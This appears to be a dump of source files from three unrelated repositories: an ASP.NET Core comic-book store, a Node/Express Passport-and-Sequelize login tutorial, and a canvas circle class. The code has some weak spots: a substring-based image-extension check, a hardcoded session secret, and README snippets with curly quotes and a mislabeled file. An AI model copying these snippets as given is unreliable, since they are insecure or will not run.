IWebHostEnvironment env) { _context = context; _environment = env; } // GET: ComicInfoes public async Task<IActionResult> Index() { var applicationDbContext = _context.ComicInfos.Include(c => c.CategoryComic).Include(c => c.CompanyComic); return View(await applicationDbContext.ToListAsync()); } // GET: ComicInfoes/Details/5 public async Task<IActionResult> Details(int? id) { if (id == null) { return NotFound(); } var comicInfo = await _context.ComicInfos .Include(c => c.CategoryComic) .Include(c => c.CompanyComic) .FirstOrDefaultAsync(m => m.ComicID == id); if (comicInfo == null) { return NotFound(); } return View(comicInfo); } // GET: ComicInfoes/Create public IActionResult Create() { ViewData["CategoryID"] = new SelectList(_context.ComicCategories, "CategoryID", "CategoryName"); ViewData["CompanyID"] = new SelectList(_context.ComicCompanies, "CompanyID", "CompanyName"); return View(); } // POST: ComicInfoes/Create // To protect from overposting attacks, enable the specific properties you want to bind to, for // more details, see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Create([Bind("ComicID,ComicName,Description,Pages,Price,File,CompanyID,CategoryID")] ComicInfo comicInfo) { using (var memoryStream = new MemoryStream()) { await comicInfo.File.FormFile.CopyToAsync(memoryStream); string photoname = comicInfo.File.FormFile.FileName; comicInfo.Extension = Path.GetExtension(photoname); if (!".jpg.jpeg.png.gif.bmp".Contains(comicInfo.Extension.ToLower())) { ModelState.AddModelError("File.FormFile", "Invalid Format of Image Given."); } else { ModelState.Remove("Extension"); } } if (ModelState.IsValid) { _context.Add(comicInfo); await _context.SaveChangesAsync(); var uploadsRootFolder = Path.Combine(_environment.WebRootPath, "photos"); if (!Directory.Exists(uploadsRootFolder)) { Directory.CreateDirectory(uploadsRootFolder); } string filename = comicInfo.ComicID + comicInfo.Extension; var filePath = Path.Combine(uploadsRootFolder, filename); using (var fileStream = new FileStream(filePath, FileMode.Create)) { await comicInfo.File.FormFile.CopyToAsync(fileStream).ConfigureAwait(false); } return RedirectToAction(nameof(Index)); } ViewData["CategoryID"] = new SelectList(_context.ComicCategories, "CategoryID", "CategoryName", comicInfo.CategoryID); ViewData["CompanyID"] = new SelectList(_context.ComicCompanies, "CompanyID", "CompanyName", comicInfo.CompanyID); return View(comicInfo); } // GET: ComicInfoes/Edit/5 public async Task<IActionResult> Edit(int? id) { if (id == null) { return NotFound(); } var comicInfo = await _context.ComicInfos.FindAsync(id); if (comicInfo == null) { return NotFound(); } ViewData["CategoryID"] = new SelectList(_context.ComicCategories, "CategoryID", "CategoryName", comicInfo.CategoryID); ViewData["CompanyID"] = new SelectList(_context.ComicCompanies, "CompanyID", "CompanyName", comicInfo.CompanyID); return View(comicInfo); } // POST: ComicInfoes/Edit/5 // To protect from overposting attacks, enable the specific properties you want to bind to, for // more details, see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(int id, [Bind("ComicID,ComicName,Description,Pages,Price,Extension,CompanyID,CategoryID")] ComicInfo comicInfo) { if (id != comicInfo.ComicID) { return NotFound(); } if (ModelState.IsValid) { try { _context.Update(comicInfo); await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!ComicInfoExists(comicInfo.ComicID)) { return NotFound(); } else { throw; } } return RedirectToAction(nameof(Index)); } ViewData["CategoryID"] = new SelectList(_context.ComicCategories, "CategoryID", "CategoryName", comicInfo.CategoryID); ViewData["CompanyID"] = new SelectList(_context.ComicCompanies, "CompanyID", "CompanyName", comicInfo.CompanyID); return View(comicInfo); } // GET: ComicInfoes/Delete/5 public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var comicInfo = await _context.ComicInfos .Include(c => c.CategoryComic) .Include(c => c.CompanyComic) .FirstOrDefaultAsync(m => m.ComicID == id); if (comicInfo == null) { return NotFound(); } return View(comicInfo); } // POST: ComicInfoes/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var comicInfo = await _context.ComicInfos.FindAsync(id); _context.ComicInfos.Remove(comicInfo); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool ComicInfoExists(int id) { return _context.ComicInfos.Any(e => e.ComicID == id); } } } <file_sep>/ComicBookStore/Models/ComicInfo.cs using Microsoft.AspNetCore.Http; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Threading.Tasks; namespace ComicBookStore.Models { public class ComicInfo { [Key] public int ComicID { get; set; } [Required] [StringLength(200)] [Display(Name ="Comic Name")] public string ComicName { get; set; } [Required] [StringLength(1000)] [Display(Name ="Comic Description")] public string Description { get; set; } [Required] [Display(Name ="Number of Pages")] public int Pages { get; set; } [Required] [Display(Name = "Price")] public float Price { get; set; } [Required] [StringLength(20)] public string Extension { get; set; } [NotMapped] public SingleFileUpload File { get; set; } [Required] public int CompanyID { get; set; } [Required] public int CategoryID { get; set; } [ForeignKey("CompanyID")] [InverseProperty("CompanyComic")] public virtual ComicCompany CompanyComic { get; set; } [ForeignKey("CategoryID")] [InverseProperty("CategoryComic")] public virtual ComicCategory CategoryComic { get; set; } public virtual ICollection<ComicOrder> ComicOrders { get; set; } } public class SingleFileUpload { [Required] [Display(Name = "File")] public IFormFile FormFile { get; set; } } } <file_sep>/ComicBookStore/Data/ApplicationDbContext.cs using ComicBookStore.Models; using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Text; namespace ComicBookStore.Data { public class ApplicationDbContext : IdentityDbContext { public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) : base(options) { } public DbSet<ComicCompany> ComicCompanies { get; set; } public DbSet<ComicCategory> ComicCategories { get; set; } public DbSet<ComicInfo> ComicInfos { get; set; } public DbSet<ComicOrder> ComicOrders { get; set; } } } <file_sep>/ComicBookStore/Controllers/ComicOrdersController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using ComicBookStore.Data; using ComicBookStore.Models; namespace ComicBookStore.Controllers { public class ComicOrdersController : Controller { private readonly ApplicationDbContext _context; public ComicOrdersController(ApplicationDbContext context) { _context = context; } // GET: ComicOrders public async Task<IActionResult> Index() { var orders = _context.ComicOrders; if (orders.Count() > 0) { foreach (ComicOrder order in orders) { order.ComicInfo = _context.ComicInfos .FirstOrDefault(m => m.ComicID == order.ComicID); } } return View(await orders.ToListAsync()); } // GET: ComicOrders/Delete/5 public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var comicOrder = await _context.ComicOrders .FirstOrDefaultAsync(m => m.OrderID == id); if (comicOrder == null) { return NotFound(); } else { comicOrder.ComicInfo = _context.ComicInfos .FirstOrDefault(m => m.ComicID == comicOrder.ComicID); } return View(comicOrder); } // POST: ComicOrders/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var comicOrder = await _context.ComicOrders.FindAsync(id); _context.ComicOrders.Remove(comicOrder); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool ComicOrderExists(int id) { return _context.ComicOrders.Any(e => e.OrderID == id); } } } <file_sep>/ComicBookStore/Models/ComicCompany.cs using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace ComicBookStore.Models { public class ComicCompany { [Key] public int CompanyID { get; set; } [Required] [StringLength(100)] [Display(Name ="Comic Company Name")] public string CompanyName { get; set; } public virtual ICollection<ComicInfo> CompanyComic { get; set; } } } <file_sep>/ComicBookStore/Controllers/ComicCategoriesController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using ComicBookStore.Data; using ComicBookStore.Models; namespace ComicBookStore.Controllers { public class ComicCategoriesController : Controller { private readonly ApplicationDbContext _context; public ComicCategoriesController(ApplicationDbContext context) { _context = context; } // GET: ComicCategories public async Task<IActionResult> Index() { return View(await _context.ComicCategories.ToListAsync()); } // GET: ComicCategories/Details/5 public async Task<IActionResult> Details(int? id) { if (id == null) { return NotFound(); } var comicCategory = await _context.ComicCategories .FirstOrDefaultAsync(m => m.CategoryID == id); if (comicCategory == null) { return NotFound(); } return View(comicCategory); } // GET: ComicCategories/Create public IActionResult Create() { return View(); } // POST: ComicCategories/Create // To protect from overposting attacks, enable the specific properties you want to bind to, for // more details, see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Create([Bind("CategoryID,CategoryName")] ComicCategory comicCategory) { if (ModelState.IsValid) { _context.Add(comicCategory); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } return View(comicCategory); } // GET: ComicCategories/Edit/5 public async Task<IActionResult> Edit(int? id) { if (id == null) { return NotFound(); } var comicCategory = await _context.ComicCategories.FindAsync(id); if (comicCategory == null) { return NotFound(); } return View(comicCategory); } // POST: ComicCategories/Edit/5 // To protect from overposting attacks, enable the specific properties you want to bind to, for // more details, see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(int id, [Bind("CategoryID,CategoryName")] ComicCategory comicCategory) { if (id != comicCategory.CategoryID) { return NotFound(); } if (ModelState.IsValid) { try { _context.Update(comicCategory); await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!ComicCategoryExists(comicCategory.CategoryID)) { return NotFound(); } else { throw; } } return RedirectToAction(nameof(Index)); } return View(comicCategory); } // GET: ComicCategories/Delete/5 public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var comicCategory = await _context.ComicCategories .FirstOrDefaultAsync(m => m.CategoryID == id); if (comicCategory == null) { return NotFound(); } return View(comicCategory); } // POST: ComicCategories/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var comicCategory = await _context.ComicCategories.FindAsync(id); _context.ComicCategories.Remove(comicCategory); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool ComicCategoryExists(int id) { return _context.ComicCategories.Any(e => e.CategoryID == id); } } } <file_sep>/ComicBookStore/Controllers/HomeController.cs using ComicBookStore.Data; using ComicBookStore.Models; using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Identity; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Logging; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading.Tasks; namespace ComicBookStore.Controllers { public class HomeController : Controller { private readonly ILogger<HomeController> _logger; private readonly ApplicationDbContext _context; private readonly UserManager<IdentityUser> _userManager; public HomeController(ApplicationDbContext context, UserManager<IdentityUser> userManager, ILogger<HomeController> logger) { _logger = logger; _context = context; _userManager = userManager; } public async Task<IActionResult> Index() { return View(await _context.ComicCompanies.OrderBy(x => Guid.NewGuid()).ToListAsync()); } public async Task<IActionResult> AllCategories() { return View(await _context.ComicCategories.OrderBy(x => Guid.NewGuid()).ToListAsync()); } public async Task<IActionResult> ViewComicByCompany(int? id) { var applicationDbContext = _context.ComicInfos .Include(j => j.CompanyComic) .Include(j => j.CategoryComic).Where(m => m.CompanyID == id); return View(await applicationDbContext.OrderBy(x => Guid.NewGuid()).ToListAsync()); } public async Task<IActionResult> ViewComicByCategory(int? id) { var applicationDbContext = _context.ComicInfos .Include(j => j.CompanyComic) .Include(j => j.CategoryComic).Where(m => m.CategoryID == id); return View(await applicationDbContext.OrderBy(x => Guid.NewGuid()).ToListAsync()); } public async Task<IActionResult> AllComics() { var applicationDbContext = _context.ComicInfos .Include(j => j.CompanyComic) .Include(j => j.CategoryComic); return View(await applicationDbContext.OrderBy(x => Guid.NewGuid()).ToListAsync()); } public async Task<IActionResult> ViewComicDetails(int? id) { if (id == null) { return NotFound(); } var comicInfo = await _context.ComicInfos .Include(j => j.CompanyComic) .Include(j => j.CategoryComic) .FirstOrDefaultAsync(m => m.ComicID == id); if (comicInfo == null) { return NotFound(); } return View(comicInfo); } [ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)] public IActionResult Error() { return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier }); } [Authorize] public IActionResult PlaceOrder(int? id) { if (id == null) { return NotFound(); } var comicInfo = _context.ComicInfos .FirstOrDefault(m => m.ComicID == id); if (comicInfo == null) { return NotFound(); } ViewData["ComicID"] = comicInfo.ComicID; ViewData["ComicName"] = comicInfo.ComicName; return View(); } [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> PlaceOrder([Bind("OrderID,Address,Quantity,ComicID")] ComicOrder comicOrder) { ModelState.Remove("Price"); ModelState.Remove("Total"); ModelState.Remove("UserID"); ModelState.Remove("OrderDate"); if (ModelState.IsValid) { comicOrder.UserID = _userManager.GetUserName(this.User); comicOrder.OrderDate = DateTime.Now; var comicInfo = await _context.ComicInfos.FirstOrDefaultAsync(m => m.ComicID == comicOrder.ComicID); if(comicInfo!=null) { comicOrder.Price = comicInfo.Price; comicOrder.Total = comicOrder.Price * comicOrder.Quantity; } _context.Add(comicOrder); await _context.SaveChangesAsync(); return RedirectToAction(nameof(PlaceOrderSuccess)); } return RedirectToAction(nameof(PlaceOrderFailure)); } public IActionResult PlaceOrderSuccess() { return View(); } public IActionResult PlaceOrderFailure() { return View(); } [Authorize] public async Task<IActionResult> MyOrders() { string userid = _userManager.GetUserName(this.User); var orders = _context.ComicOrders .Where(m => m.UserID == userid); if(orders.Count() > 0) { foreach(ComicOrder order in orders) { order.ComicInfo = _context.ComicInfos .FirstOrDefault(m => m.ComicID == order.ComicID); } } return View(await orders.ToListAsync()); } } }
2536d6b17e84792cff57ac60afdb7f14336ca3ea
[ "C#" ]
8
C#
heena2000/ComicBookStore
9d6c28ce12b5ebe7d08d41077d710e4ac1e133b8
ffb907e415e3fe8f3ce1ee0e4cfe3b6da3e21898
refs/heads/master
<file_sep>from django.urls import path from . import views urlpatterns = [ path('detail/<int:blog_id>', views.detail, name='detail'), path('home/', views.home, name='home'), ]<file_sep># Generated by Django 2.1.7 on 2019-05-06 07:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blogapp', '0001_initial'), ] operations = [ migrations.CreateModel( name='Photo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=255)), ('image', models.ImageField(upload_to='image/')), ('description', models.CharField(max_length=500)), ], ), migrations.AlterField( model_name='blog', name='title', field=models.CharField(max_length=50), ), ]
ffbcdf6d11079a4174aae1eaa3f780bdfeebf673
[ "Python" ]
2
Python
hellouz818/first
6b675c7e133f9581d6139f1c728e5f031d63f59d
ffa567da9a0b42835996cba2be7f744d06677c64
refs/heads/master
<file_sep>const passport = require("passport"); const LocalStrategy = require("passport-local").Strategy; const db = require("../models"); // passport will use a Local Strategy // Strategies are what passport uses to authenticate requests. // Here we will write a strategy that allows the user to log in // with a username/email and password. passport.use(new LocalStrategy( { usernameField: "email" }, function (email, password, done) { // this runs when the user tries to sign in db.User.findOne({ where: { email: email } }).then(function (dbUser) { // if the given email does not exist in the database: if (!dbUser) { return done(null, false, { message: "Incorrect Email." }); } // if email exists, but password does not match: else if (!dbUser.validPassword(password)) { return done(null, false, { message: "Incorrect Password." }); } //if none of the above, return the user return done(null, dbUser); }); } )); // Sequelize serializes and deserializes user. // This keeps authentication state across HTTP requests passport.serializeUser((user, cb) => { cb(null, user); }); passport.deserializeUser((obj, cb) => { cb(null, obj); }); module.exports = passport; <file_sep># passport-tutorial A Tutorial to build a quick express server that uses passport and sequelize to enable creating user credentials and logging in. ## Passport/Sequelize Demo Build a basic Node/Express app that allows a user to create a username and password, and log onto the application using npm package `passport`. The user data is stored in a mysql database. This build utilizes sequelize-cli to build the application quickly. Prerequisites: - MySQL - Node - NPM - Nodemon Create a directory that will contain the app. In a terminal window, `cd` to wherever you want your application to live, then run: ```mkdir passport-demo``` Install dependencies. ```npm i bcryptjs express express-session mysql2 passport passport-local sequelize``` Install sequelize-cli as a dev dependency: ```npm i --save-dev sequelize-cli``` Your directory will now look like this: ``` / node_modules package-lock.json package.json ``` in package-lock.json, add to “scripts” so that it looks like this: ``` "scripts": { “test”: “echo \”Error: no test specified\” && exit 1”, // add: “start”: “node server.js”, “watch”: “nodemon server.js” } ``` This allows you to run the node server by entering the command `npm run start`, and to run the server with nodemon `npm run watch`. In a terminal window, at your app’s root directory, run: ```npx sequelize-cli init``` your directory will now look like this: ``` / /config config.json /migrations /models index.js /node_modules /seeders package-lock.json package.json ``` In ```/config/config.json```, add your mysql username, password, and desired database name to ‘development’. Replace all values in angle brackets with your own data. ``` "development": { "username": "<mysql username>", "password": "<<PASSWORD>>", "database": "<databse_name>" } ``` ## Use mysql to create the database: In a terminal window, run mysql: ```mysql -u root -p``` Enter mysql password when prompted: ```Enter Password: ********``` Once mysql is running: ```mysql> CREATE DATABASE password_db;``` Check that it worked, you should see password_db when you run: ```mysql> SHOW DATABASES;``` Exit mysql: ```mysql> exit``` ## Use sequelize-cli to create a User Model. In a terminal window at your app's route directory: ```npx sequelize-cli model:generate --name User --attributes email:string,password:string``` This will create a new user model file in the models folder, and a new user migration file in the migrations folder. The model file is like a Class that will create a new User object, which sequelize will then add to the mysql database. Your file structure should now look like this: ``` / config/ config.json migrations/ xxxxxxxxxxxxxx-create-user.js models/ index.js user.js node_modules/ seeders/ package-lock.json package.json ``` We will ignore seeders/ for now. Optionally, you can create seed files that you can use to create demo data for your database. More on that can be found [here](https://sequelize.org/master/manual/migrations.html). Open models/user.js, we need to add some stuff. This is what the file will look like already: ``` ‘use strict’; module.exports = (sequelize, DataTypes) => { const User = sequelize.define(‘User’, { email: DataTypes.STRING, password: DataTypes.STRING }, {}); User.associate = function(models) { // associations can be defined here }; return User; }; ``` And this is with the changes we will make: ``` const bcrypt = require("bcryptjs"); module.exports = (sequelize, DataTypes) => { const User = sequelize.define(“User”, { email: { type: DataTypes.STRING, allowNull: false, unique: true, validate: { isEmail: true } }, password: { type: DataTypes.STRING, allowNull: false } }); // uses the bcryptjs library to check if the unhashed password entered by // the user matches the encrypted password already stored in the database User.prototype.validPassword = function (password) { return bcrypt.compareSync(password, this.password); }; // Before a user is created, their password is automatically hashed: User.addHook(“beforeCreate”, (user) => { user.password = bcrypt.hashSync( user.password, bcrypt.genSaltSync(10), null); }); return User; } ``` ## isAuthenticated Middleware Now we need to add some middleware that will restrict routes only to users who are logged in. Make a directory in `config/` called `middleware`, and a new file `isAuthenticated.js` inside that folder. We can do this by running the following command in a terminal window at your app’s root directory:\ ```mkdir config/middleware && touch config/middleware/isAuthenticated.js``` Open up `config/middleware/isAuthenticated.js` and write the following: ``` module.exports = (req, res, next) => { // if the request contains user’s data, if (req.user) { return next(); } // otherwise send them back to the homepage return res.redirect(“/”); } ``` ## Configure Passport In a terminal window at your app’s root directory, run the following:\ ```touch config/passport.js``` open `config/passport.js` and write the following: ``` const passport = require("passport"); const LocalStrategy = require(“passport-local”).Strategy; const db = require(“../models”); // passport will use a Local Strategy // Strategies are what passport uses to authenticate requests. // Here we will write a strategy that allows the user to log in // with a username/email and password. passport.use(new LocalStrategy( { usernameField: “email” }, (email, password, done) => { // this runs when the user tries to sign in db.User.findOne({ where: { email: email } }).then(dbUser => { // if the given email does not exist in the database: if (!dbUser) { return done(null, false, { message: “Incorrect Email.” }); } // if email exists, but password does not match: else if (!dbUser.validPassword(password)) { return done(null, false, { message: “Incorrect Password.” }); } // if none of the above, return the user return done(null, dbUser); }); } )); // Sequelize serializes and deserializes user. // This keeps authentication state across HTTP requests passport.serializeUser((user,cb) => { cb(null, user); }); passport.deserializeUser((obj, cb) => { cb(null, obj); }); module.exports = passport; ``` More on Strategies can be found [here](http://www.passportjs.org/docs/configure/). ## Express Server and Routes In a terminal window in the root directory of your app, run the following command:\ ```touch server.js``` In server.js, write the following:\ ``` const express = require("express"); const session = require(“express-session”); // require our passport.js file, // which contains passport configuration const passport = require(“./config/passport”); // set up the port, require models // connection and control of db let PORT = process.env.PORT || 8080; const db = require(“./models”); // create express app and configure middleware const app = express(); app.use(express.urlencoded({ extended: true })); app.use(express.json()); app.use(express.static(“public”)); // sessions keeps track of user’s login status app.use(session({ // “signs” the cookie, making it more secure secret: “keyboard cat”, // tell session store that cookie is still active resave: true, // save empty/unmodified session objects at end of session saveUninitialized: true })); // remember configuration for passport is located at // ./config/passport.js app.use(passport.initialize()); app.use(passport.session()); // requiring our routes require(“./routes/html-routes.js”)(app); require(“./routes/api-routes.js”)(app); // syncs database and informs the user on success db.sequelize.sync().then(() => { app.listen(PORT, () => { console.log(`app listening on ${PORT}, visit http://localhost:${PORT}`); }); }); ``` To finish out the back-end, let’s add our routes. In a terminal window at your app’s root directory, run the following command: ```mkdir routes && touch routes/api-routes.js routes/html-routes.js``` Open up routes/api-routes.js and write the following: ``` // import models and passport config const db = require("../models"); const passport = require("../config/passport"); module.exports = (app) => { // login route // send user to member page with valid login credentials // otherwise send them error message app.post( "/api/login", passport.authenticate("local"), (req,res) => { res.json(req.user); } ); // signup route // user password is hashed and stored with Sequelize User Model and bcryptjs app.post( "/api/signup", (req,res) => { db.User.create({ email: req.body.email, password: <PASSWORD> }).then(() => { res.redirect(307, "/api/login"); }).catch((err) => { res.status(401).json(err); }); } ); // route for logging user out app.get( "/logout", (req,res) => { req.logout(); res.redirect("/"); } ); // route for getting user data to be used client-side app.get( "/api/user_data", (req.res) => { // if user is not logged in: if (!req.user) { // send back an empty object res.json({}); // else if user is logged in: } else { // send back user's email and id res.json({ email: req.user.email, id: req.user.id }); } } ); }; ``` Our server.js file will require these api routes. This file will determine the logic for what happens when the front end makes a call on any of the exported routes. `html-routes.js`, on the other hand, will send static pages back to the user when the front end makes the relevant calls. routes/html-routes.js: ``` const path = require("path"); // uses the isAuthenticated middleware // checks if a user is logged in // will not return some pages if not const isAuthenticated = require("../config/middleware/isAuthenticated"); module.exports = (app) => { app.get( "/", (req,res) => { // if the user is logged in: if (req.user) { // forward them to members page res.redirect("/members"); } // otherwise send them to signup page res.sendFile(path.join(__dirname, "../public/signup.html")); } ); app.get( "/login", (req,res) => { // if user already has an account, forward to members page if (req.user) { res.redirect("/members"); } res.sendFile(path.join(__dirname, "../public/login.html")); } ); // using isAuthenticated middleware, // non-logged-in users who try to access /members // will be redirected to signup app.get("/members", isAuthenticated, function(req, res) { res.sendFile(path.join(__dirname, "../public/members.html")); }); } ``` ## Adding the front-end. In a terminal window at the root directory, run:\ ```mkdir public && mkdir public/js public/stylesheets``` Create the html files: ``` touch public/login.html public/members.html public/signup.html ``` Create the css file: ```touch public/stylesheets/style.css``` Create the js files: ```touch public/js/login.js public/js/members.js public/js/signup.js``` ### js files: `login.js` takes the values from the login form and makes the post call to the `api/login` route ``` $(document).ready(function(){ const loginForm = $("form.login"); const emailInput = $("input#email-input"); const passwordInput = $("input#password-input"); loginForm.on("submit", function(event) { event.preventDefault(); const userData = { email: emailInput.val().trim(), password: passwordInput.val().trim() }; if (!userData.email || !userData.password) { return; } loginUser(userData.email, userData.password); emailInput.val(""); passwordInput.val(""); }); function loginUser(email, password) { $.post("/api/login", { email: email, password: <PASSWORD> }) .then(function() { window.location.replace("/members"); }) .catch(function(err) { console.log(err); }); } }); ``` `members.js` makes the get request on the `api/user_data` route to display the user's email on the page: ``` $(document).ready(function() { // This file just does a GET request to figure out which user is logged in // and updates the HTML on the page $.get("/api/user_data").then(function(data) { $(".member-name").text(data.email); }); }); ``` `signup.js` is similar to `login.js` but makes a user object and makes a post call to `api/signup`: ``` $(document).ready(function() { const signUpForm = $("form.signup"); const emailInput = $("input#email-input"); const passwordInput = $("input#password-input"); signUpForm.on("submit", function(event) { event.preventDefault(); const userData = { email: emailInput.val().trim(), password: passwordInput.val().trim() }; if (!userData.email || !userData.password) { return; } signUpUser(userData.email, userData.password); emailInput.val(""); passwordInput.val(""); }); function signUpUser(email, password) { $.post("/api/signup", { email: email, password: <PASSWORD> }) .then(function(data) { window.location.replace("/members"); // If there's an error, handle it by throwing up a bootstrap alert }) .catch(handleLoginErr); } function handleLoginErr(err) { $("#alert .msg").text(err.responseJSON); $("#alert").fadeIn(500); } }); ``` ### html files These are all just static pages. login.html: ``` $(document).ready(function() { // Getting references to our form and input var signUpForm = $("form.signup"); var emailInput = $("input#email-input"); var passwordInput = $("input#password-input"); // When the signup button is clicked, we validate the email and password are not blank signUpForm.on("submit", function(event) { event.preventDefault(); var userData = { email: emailInput.val().trim(), password: passwordInput.val().trim() }; if (!userData.email || !userData.password) { return; } // If we have an email and password, run the signUpUser function signUpUser(userData.email, userData.password); emailInput.val(""); passwordInput.val(""); }); // Does a post to the signup route. If successful, we are redirected to the members page // Otherwise we log any errors function signUpUser(email, password) { $.post("/api/signup", { email: email, password: <PASSWORD> }) .then(function(data) { window.location.replace("/members"); // If there's an error, handle it by throwing up a bootstrap alert }) .catch(handleLoginErr); } function handleLoginErr(err) { $("#alert .msg").text(err.responseJSON); $("#alert").fadeIn(500); } }); ``` members.html: ``` <!DOCTYPE html> <html lang="en"> <head> <title>Passport Authentication</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/lumen/bootstrap.min.css"> <link href="stylesheets/style.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-default"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="/logout"> Logout </a> </div> </div> </nav> <div class="container"> <div class="row"> <div class="col-md-6 col-md-offset-3"> <h2>Welcome <span class="member-name"></span></h2> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <script type="text/javascript" src="js/members.js"></script> </body> </html> ``` signup.html ``` <!DOCTYPE html> <html lang="en"> <head> <title>Passport Authentication</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.7/lumen/bootstrap.min.css"> <link href="stylesheets/style.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-default"> <div class="container-fluid"> <div class="navbar-header"> </div> </div> </nav> <div class="container"> <div class="row"> <div class="col-md-6 col-md-offset-3"> <h2>Sign Up Form</h2> <form class="signup"> <div class="form-group"> <label for="exampleInputEmail1">Email address</label> <input type="email" class="form-control" id="email-input" placeholder="Email"> </div> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="<PASSWORD>" class="form-control" id="password-input" placeholder="<PASSWORD>"> </div> <div style="display: none" id="alert" class="alert alert-danger" role="alert"> <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span> <span class="sr-only">Error:</span> <span class="msg"></span> </div> <button type="submit" class="btn btn-default">Sign Up</button> </form> <br /> <p>Or log in <a href="/login">here</a></p> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <script type="text/javascript" src="js/signup.js"></script> </body> </html> ``` ### css files styling for the static html pages: style.css: ``` form.signup, form.login { margin-top: 50px; } ``` ## Running the server In a terminal at your app's root directory, run `npm run watch`. This will run the server in nodemon. If you don't get any errors, you should get a message in your console that you are successfully connected to the database, and a link to open in your browser.<file_sep>const path = require("path"); // uses the isAuthenticated middleware // checks if a user is logged in // will not return some pages if not const isAuthenticated = require("../config/middleware/isAuthenticated"); module.exports = (app) => { app.get("/", (req, res) => { // if the user is logged in: if (req.user) { // forward them to members page res.redirect("/members"); } // otherwise send them to signup page res.sendFile(path.join(__dirname, "../public/signup.html")); }); app.get("/login", (req, res) => { // if user already has an account, forward to members page if (req.user) { res.redirect("/members"); } res.sendFile(path.join(__dirname, "../public/login.html")); }); // using isAuthenticated middleware, // non-logged-in users who try to access /members // will be redirected to signup app.get("/members", isAuthenticated, function (req, res) { res.sendFile(path.join(__dirname, "../public/members.html")); }); }
cbcf8e0997991b61ec94a455019a483278c504f5
[ "JavaScript", "Markdown" ]
3
JavaScript
kaydeejay/passport-tutorial
89f6234f50d85b04596f2d12712618e5a007adcb
5c58934fdcd74ea8cbff2cc37ffa77175e70c736
refs/heads/master
<repo_name>andy1633/js_intersects<file_sep>/Circle.js "use strict"; // Circle class. function Circle(position, radius) { this.position = position; this.radius = radius; this.color = "#000"; } Circle.prototype.draw = function(ctx) { ctx.beginPath(); ctx.arc(this.position.x, this.position.y, this.radius, 0, 2 * Math.PI); ctx.strokeStyle = this.color; ctx.stroke(); } Circle.prototype.collidingCircle = function(circle) { return Collisions.circleIntersectsCircle(circle); } Circle.prototype.collidingLine = function(line) { return Collisions.circleIntersectsLine(this, line); } <file_sep>/README.md # js_intersects Fun little canvas thingymajig See it in action [here](https://andyewen.github.io/js_intersects/)! Click to change the position of the start of the line.
3a72de0319805903baa4d395deb06a1558fb4dcb
[ "JavaScript", "Markdown" ]
2
JavaScript
andy1633/js_intersects
8c0f7502e0307f8c04cf7560d126100064d06542
6be08e4a2e12fb311b7b71c9bc81cb0cee9233cf
refs/heads/master
